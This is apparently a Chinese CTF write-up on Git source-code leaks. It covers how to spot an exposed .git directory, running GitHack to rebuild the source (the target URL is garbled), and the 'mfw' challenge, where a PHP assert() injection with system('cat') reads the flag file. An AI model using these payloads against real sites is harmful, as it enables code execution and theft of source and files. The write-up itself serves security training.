git源码泄露

Git 源码泄露

开发人员会使用 git 进行版本控制,对站点自动部署。但如果配置不当,可能会将 .git 文件夹直接部署到线上环境,这就引起了 git 泄露漏洞,我们可以利用这个漏洞直接获得网页源码

确定是否存在泄漏

(1)看看有没有提示使用了 Git,如果有就考虑存在。如果没有也可以使用 dirsearch 工具扫描后台,如果存在则会扫描出 .git 目录如图所示。


(2)直接通过网页访问 .git 目录,如果能访问就说明存在。


(3)访问 .git/head 文件,如果能下载也能推断存在 Git 源码泄露。

1.【攻防世界】mfw

页面发现git ,可能存在git注入。

用GitHack扫描,下载源文件。

知识点

GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。

渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。

python GitHack.py http://61:52016/.147.171.105:52016/.git/ 

<?php
 
if (isset($_GET['page'])) {  
    $page = $_GET['page'];
} else {    
    $page = "home";
}
 
$file = "templates/" . $page . ".php";
 
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");  

//相对于过滤了 ..


// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
 
?>

 (1)assert:对传入的参数会当作php代码来执行

?page=') or phpinfo();#           

 file_exists('templates/') or phpinfo();#.php

?page=').system("cat ./templates/flag.php");//

(1)双斜杠相当于注释 

找到flag。

CTF-WEB:Git 源码泄露 - 乌漆WhiteMoon - 博客园 (cnblogs.com)

相关推荐

  1. git泄露

    2024-04-03 08:52:03       28 阅读
  2. <span style='color:red;'>GIT</span><span style='color:red;'>泄露</span>

    GIT泄露

    2024-04-03 08:52:03      20 阅读
  3. <span style='color:red;'>Git</span><span style='color:red;'>泄露</span>

    Git泄露

    2024-04-03 08:52:03      19 阅读
  4. git泄露

    2024-04-03 08:52:03       6 阅读
  5. GitHacker:Git泄漏检测工具可恢复整个Git Repo

    2024-04-03 08:52:03       19 阅读
  6. 安装git

    2024-04-03 08:52:03       41 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-03 08:52:03       5 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-03 08:52:03       5 阅读
  3. 在Django里面运行非项目文件

    2024-04-03 08:52:03       4 阅读
  4. Python语言-面向对象

    2024-04-03 08:52:03       7 阅读

热门阅读

  1. openGauss 分布式分析能力

    2024-04-03 08:52:03       23 阅读
  2. PostCSS安装与使用技术详解

    2024-04-03 08:52:03       28 阅读
  3. CSS总结

    2024-04-03 08:52:03       24 阅读
  4. 拒绝服务攻击(Dos)与Tomcat的解决方法

    2024-04-03 08:52:03       24 阅读
  5. 读《C Primer Plus》

    2024-04-03 08:52:03       25 阅读
  6. Vue-前端应用开发平时作业第二章作业2

    2024-04-03 08:52:03       19 阅读
  7. Android 11 init进程对Selinux的处理

    2024-04-03 08:52:03       25 阅读
  8. 读《Spring实战》第二章:装配bean

    2024-04-03 08:52:03       18 阅读